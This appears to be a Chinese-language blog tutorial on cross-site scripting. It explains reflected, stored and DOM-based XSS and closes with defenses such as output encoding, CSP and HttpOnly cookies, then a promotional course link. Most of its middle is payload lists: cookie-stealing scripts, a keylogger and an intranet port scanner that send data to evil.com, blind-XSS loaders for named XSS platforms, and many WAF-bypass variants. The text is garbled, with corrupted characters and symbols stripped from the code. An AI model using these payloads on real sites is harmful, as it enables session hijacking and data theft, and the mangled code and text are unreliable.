XSS漏洞)
寫在前面“XSS到底有什么危害”“怎么繞過XSS過濾”“存儲(chǔ)型XSS怎么利用”XSS跨站腳本是Web安全中最常見的漏洞之一。在OWASP Top 10中一直名列前茅。很多人覺得XSS只是彈個(gè)框框但實(shí)際上一個(gè)利用得當(dāng)?shù)腦SS可以竊取Cookie、劫持用戶會(huì)話、甚至直接獲取服務(wù)器權(quán)限。我第一次挖到XSS是在一個(gè)留言板功能中輸入scriptalert(1)/script后刷新頁面就彈窗了。當(dāng)時(shí)覺得太簡(jiǎn)單了后來深入學(xué)習(xí)才知道——從彈框到真正利用之間還有很多技術(shù)細(xì)節(jié)。今天我把XSS的完整知識(shí)整理出來原理分類、Payload構(gòu)造、繞過技巧、實(shí)戰(zhàn)利用、防御方案??赐赀@篇你對(duì)XSS會(huì)有一個(gè)系統(tǒng)化認(rèn)知。?? 注意本文僅用于授權(quán)的安全測(cè)試和教育目的嚴(yán)禁用于非法用途。一、XSS基礎(chǔ)什么是XSS XSSCross-Site Scripting是指攻擊者將惡意JavaScript代碼注入到Web頁面中當(dāng)其他用戶瀏覽該頁面時(shí)惡意代碼在用戶瀏覽器中執(zhí)行從而竊取Cookie、劫持會(huì)話或執(zhí)行惡意操作。XSS危害危害說明利用方式竊取Cookie獲取用戶會(huì)話憑證document.cookie會(huì)話劫持冒充用戶操作使用竊取的Cookie鍵盤記錄記錄用戶輸入onkeydown事件釣魚偽造登錄框DOM修改掛馬植入惡意代碼iframe/redirectXSS蠕蟲自我傳播存儲(chǔ)型XSS自動(dòng)提交內(nèi)網(wǎng)探測(cè)掃描內(nèi)網(wǎng)端口fetch/XMLHttpRequest命令執(zhí)行結(jié)合其他漏洞XSSCSRFRCE二、XSS三大類型1. 反射型XSS惡意代碼在URL參數(shù)中服務(wù)器將其反射到響應(yīng)頁面中。需要用戶點(diǎn)擊惡意鏈接才能觸發(fā)。// 漏洞代碼$name$_GET[name];echoh1歡迎,$name/h1;// 正常訪問?name張三 →h1歡迎,張三/h1// XSS攻擊?namescriptalert(1)/script→h1歡迎,scriptalert(1)/script/h1特征特性說明觸發(fā)方式用戶點(diǎn)擊惡意鏈接代碼位置URL參數(shù)中持久性非持久需每次點(diǎn)擊危害等級(jí)中需社工誘導(dǎo)2. 存儲(chǔ)型XSS惡意代碼被存入數(shù)據(jù)庫當(dāng)其他用戶訪問頁面時(shí)自動(dòng)觸發(fā)。無需用戶點(diǎn)擊特定鏈接。// 漏洞代碼 - 留言板$message$_POST[message];// 直接存入數(shù)據(jù)庫mysqli_query($conn,INSERT INTO messages (content) VALUES ($message));// 展示留言時(shí)$resultmysqli_query($conn,SELECT content FROM messages);while($rowmysqli_fetch_assoc($result)){echodiv classmessage.$row[content]./div;}攻擊過程1. 攻擊者提交惡意留言script src//evil.com/x.js/script 2. 惡意內(nèi)容存入數(shù)據(jù)庫 3. 普通用戶訪問留言板 4. 服務(wù)器輸出惡意代碼 5. 用戶瀏覽器執(zhí)行惡意JS 6. 攻擊者獲取用戶Cookie特征特性說明觸發(fā)方式自動(dòng)觸發(fā)用戶訪問頁面代碼位置數(shù)據(jù)庫中持久性持久存入數(shù)據(jù)庫危害等級(jí)高無需社工3. DOM型XSS惡意代碼不經(jīng)過服務(wù)器完全在前端JavaScript中處理通過修改DOM結(jié)構(gòu)觸發(fā)。// 漏洞代碼varhashlocation.hash.slice(1);document.getElementById(output).innerHTML搜索: hash;// 攻擊URLhttp://example.com/search#img srcx onerroralert(1)// 前端直接將hash寫入DOM觸發(fā)XSS常見危險(xiǎn)APIAPI說明innerHTML寫入HTMLdocument.write()直接寫文檔eval()執(zhí)行JS代碼setTimeout/setInterval字符串參數(shù)執(zhí)行l(wèi)ocation.href跳轉(zhuǎn)控制jQuery.html()HTML寫入三種類型對(duì)比特性反射型存儲(chǔ)型DOM型代碼位置URL參數(shù)數(shù)據(jù)庫URL片段是否經(jīng)過服務(wù)端是是否持久性非持久持久非持久觸發(fā)條件點(diǎn)擊鏈接訪問頁面點(diǎn)擊鏈接危害中高中三、常用XSS Payload基礎(chǔ)Payload!-- 基礎(chǔ)彈窗 --scriptalert(1)/script!-- 事件觸發(fā) --imgsrcxonerroralert(1)svgonloadalert(1)bodyonloadalert(1)inputonfocusalert(1)autofocus!-- 偽協(xié)議 --ahrefjavascript:alert(1)click/aiframesrcjavascript:alert(1)/iframe!-- 編碼繞過 --scriptalert(1)/scriptscript\u0061\u006c\u0065\u0072\u0074(1)/scriptimg srcx onerroreval(atob(YWxlcnQoMSk))Cookie竊取Payload// 基礎(chǔ)Cookie竊取scriptnewImage().srchttp://evil.com/log?cdocument.cookie;/script// fetch方式scriptfetch(http://evil.com/log?cdocument.cookie);/script// 帶location跳轉(zhuǎn)scriptlocation.hrefhttp://evil.com/log?cdocument.cookie;/script// 動(dòng)態(tài)創(chuàng)建腳本scriptvarsdocument.createElement(script);s.srchttp://evil.com/xss.js;document.body.appendChild(s);/script鍵盤記錄Payload// 鍵盤記錄器scriptvarkeys;document.onkeydownfunction(e){keyse.key;if(keys.length20){newImage().srchttp://evil.com/log?kkeys;keys;}};/script內(nèi)網(wǎng)掃描Payload// 通過XSS掃描內(nèi)網(wǎng)scriptasyncfunctionscanPort(ip,port){try{awaitfetch(http://${ip}:${port}/,{mode:no-cors,timeout:2000});newImage().srchttp://evil.com/scan?ip${ip}port${port}statusopen;}catch(e){// 端口關(guān)閉或超時(shí)}}// 掃描常見端口[22,80,443,3306,6379,8080].forEach(port{scanPort(192.168.1.1,port);});/script四、WAF繞過技巧1. 大小寫混合ScRiPtalert(1)/ScRiPtIMGSRCxOnErRoRalert(1)2. 編碼繞過編碼方式Payload說明HTML實(shí)體scriptalert(1)/script#x6a;等十六進(jìn)制十進(jìn)制script#97;#108;#101;#114;#116;(1)/script十進(jìn)制編碼Unicodescript\u0061lert(1)/scriptUnicode編碼Base64scripteval(atob(YWxlcnQoMSk))/scriptBase64解碼Heximg srcx onerror\x61lert(1)十六進(jìn)制3. 標(biāo)簽繞過當(dāng)script被過濾時(shí)!-- 事件處理器 --imgsrcxonerroralert(1)svgonloadalert(1)inputonfocusalert(1)autofocusdetailsopenontogglealert(1)selectonfocusalert(1)autofocusvideosrcxonerroralert(1)audiosrcxonerroralert(1)marqueeonstartalert(1)!-- 偽協(xié)議 --ahrefjavascript:alert(1)click/aiframesrcjavascript:alert(1)formbuttonformactionjavascript:alert(1)X/button/form4. 關(guān)鍵字繞過當(dāng)alert被過濾時(shí)// 函數(shù)構(gòu)造window[alert](1)window[al\x65rt](1)top[alert](1)self[alert](1)// 函數(shù)調(diào)用alert1// 模板字符串window.alert(1)Reflect.apply(alert,null,[1])// 框架繞過throwonerroralert(1)5. 空格繞過!-- 當(dāng)空格被過濾 --img/srcx/onerroralert(1) img%09srcx%09onerroralert(1)!-- Tab --img%0asrcx%0aonerroralert(1)!-- 換行 --imgsrcxonerroralert(1)!-- 反引號(hào) --img/srcx/onerroralert(1)!-- 斜杠 --6. 長(zhǎng)度限制繞過!-- 當(dāng)輸入長(zhǎng)度有限制時(shí) --!-- 方法1外部加載 --scriptsrc//evil.com/x.js/script!-- 方法2eval --scripteval(name)/script!-- 通過window.name傳遞長(zhǎng)Payload --!-- 方法3注釋拼接 --script/**/alert(1)/**//script五、盲打XSSBlind XSS是指攻擊者不確定Payload是否執(zhí)行通過向所有可能的輸入點(diǎn)提交Payload等待管理員觸發(fā)。常見盲打位置位置說明觸發(fā)場(chǎng)景用戶注冊(cè)字段用戶名/昵稱管理員查看用戶列表反饋/投訴反饋內(nèi)容管理員處理反饋User-Agent請(qǐng)求頭管理員查看日志Referer請(qǐng)求頭管理員查看統(tǒng)計(jì)文件名上傳文件名管理員查看文件列表API參數(shù)API請(qǐng)求管理員查看監(jiān)控盲打Payload示例// 帶回傳的盲打Payloadscriptvarsdocument.createElement(script);s.srchttp://evil.com/xss.js?document.cookieloclocation.href;document.body.appendChild(s);/script// xss.js 回調(diào)內(nèi)容// 如果管理員觸發(fā)了會(huì)加載這個(gè)JS并執(zhí)行XSS平臺(tái)使用// 常見XSS平臺(tái)Payload格式script src//xss.pt/xxxxx/scriptscript src//xss9.com/xxxxx/script// 平臺(tái)功能// 1. Cookie記錄// 2. 會(huì)話截圖// 3. 鍵盤記錄// 4. 來源記錄// 5. 內(nèi)網(wǎng)探測(cè)六、XSS實(shí)戰(zhàn)場(chǎng)景場(chǎng)景1評(píng)論區(qū)存儲(chǔ)型XSSPOST /api/comment HTTP/1.1 Content-Type: application/json {content: img srcx onerror\new Image().srchttp://evil.com/log?cdocument.cookie\} // 如果后端未過濾直接存入數(shù)據(jù)庫并展示則構(gòu)成存儲(chǔ)型XSS場(chǎng)景2搜索框反射型XSSGET /search?qscriptalert(document.cookie)/script HTTP/1.1 // 如果搜索關(guān)鍵詞直接回顯在頁面中則構(gòu)成反射型XSS場(chǎng)景3URL參數(shù)DOM型XSS// 前端代碼varkeywordnewURLSearchParams(location.search).get(q);document.getElementById(result).innerHTML搜索: keyword;// 攻擊URL/search?qimg srcx onerroralert(1)七、XSS防御方案1. 輸出編碼核心防御輸出位置編碼方式說明HTML正文HTML實(shí)體編碼→lt;→gt;HTML屬性屬性編碼→quot;→#x27;JavaScriptJS編碼\→\\→\URLURL編碼在URL中參數(shù)編碼CSSCSS編碼少見但需注意編碼實(shí)現(xiàn)# Python HTML編碼importhtmldefhtml_encode(text):returnhtml.escape(text,quoteTrue)# JavaScript編碼defjs_encode(text):resultforcharintext:resultf\\x{ord(char):02x}returnresult// JavaScript前端編碼functionhtmlEncode(str){returnstr.replace(/[]/g,function(m){return{:amp;,:lt;,:gt;,:quot;,:#x27;}[m];});}2. CSP內(nèi)容安全策略# 嚴(yán)格CSP推薦 Content-Security-Policy: default-src none; script-src self https://cdn.example.com; style-src self; img-src self data:; connect-src self; base-uri self; form-action self; # 只允許同源腳本 Content-Security-Policy: script-src self # 使用Nonce Content-Security-Policy: script-src nonce-r4nd0m123 script noncer4nd0m123alert(1)/script3. HttpOnly CookieSet-Cookie: sessionabc123; HttpOnly; Secure; SameSiteStrict屬性說明HttpOnlyJS無法讀取CookieSecure只在HTTPS傳輸SameSiteStrict禁止跨站發(fā)送4. 富文本過濾當(dāng)需要允許部分HTML如評(píng)論區(qū)# 使用bleach庫Pythonimportbleach allowed_tags[b,i,u,a,p,br]allowed_attrs{a:[href,title]}cleanbleach.clean(user_input,tagsallowed_tags,attributesallowed_attrs)5. 防御Checklist檢查項(xiàng)是否完成所有輸出點(diǎn)進(jìn)行編碼?配置CSP策略?Cookie設(shè)置HttpOnly?富文本使用白名單過濾?禁用內(nèi)聯(lián)事件處理器?使用安全框架Vue/React自動(dòng)轉(zhuǎn)義?輸入驗(yàn)證長(zhǎng)度/格式?定期安全掃描?八、XSS與CSRF的區(qū)別對(duì)比項(xiàng)XSSCSRF攻擊方向注入惡意代碼偽造合法請(qǐng)求目標(biāo)用戶瀏覽器服務(wù)端邏輯需要用戶操作是瀏覽頁面是已登錄狀態(tài)防御核心輸出編碼CSPCSRF Token關(guān)系XSS可以繞過CSRF防御— 重要如果存在XSS攻擊者可以通過JS讀取CSRF Token從而繞過CSRF防護(hù)。因此XSS防御優(yōu)先級(jí)高于CSRF。學(xué)習(xí)資源XSS是Web安全的基礎(chǔ)漏洞之一雖然看似簡(jiǎn)單但深入利用涉及編碼繞過、DOM操作、瀏覽器安全策略等多方面知識(shí)。從基礎(chǔ)彈窗到Cookie竊取從反射型到存儲(chǔ)型每一種利用場(chǎng)景都需要不斷練習(xí)。如果你對(duì)網(wǎng)絡(luò)安全和Web滲透感興趣想系統(tǒng)學(xué)習(xí)更多知識(shí)——包括XSS實(shí)戰(zhàn)、OWASP Top 10漏洞、滲透測(cè)試全流程、CTF實(shí)戰(zhàn)等——可以參考下面整理的完整學(xué)習(xí)資料包。內(nèi)容涵蓋從零基礎(chǔ)到實(shí)戰(zhàn)進(jìn)階200節(jié)視頻課程配套工具和靶場(chǎng)環(huán)境涵蓋攻防對(duì)抗全生命周期。這些東西我都可以免費(fèi)分享給大家需要的可以點(diǎn)這里自取:網(wǎng)安入門到進(jìn)階資源總結(jié)維度要點(diǎn)原理惡意JS注入到頁面中執(zhí)行類型反射型/存儲(chǔ)型/DOM型利用Cookie竊取/會(huì)話劫持/內(nèi)網(wǎng)探測(cè)繞過編碼/大小寫/標(biāo)簽替換/事件防御輸出編碼CSPHttpOnly白名單 XSS防御的核心是永遠(yuǎn)不要信任用戶輸入。每一個(gè)輸出到頁面的數(shù)據(jù)都必須經(jīng)過正確的編碼。————————————————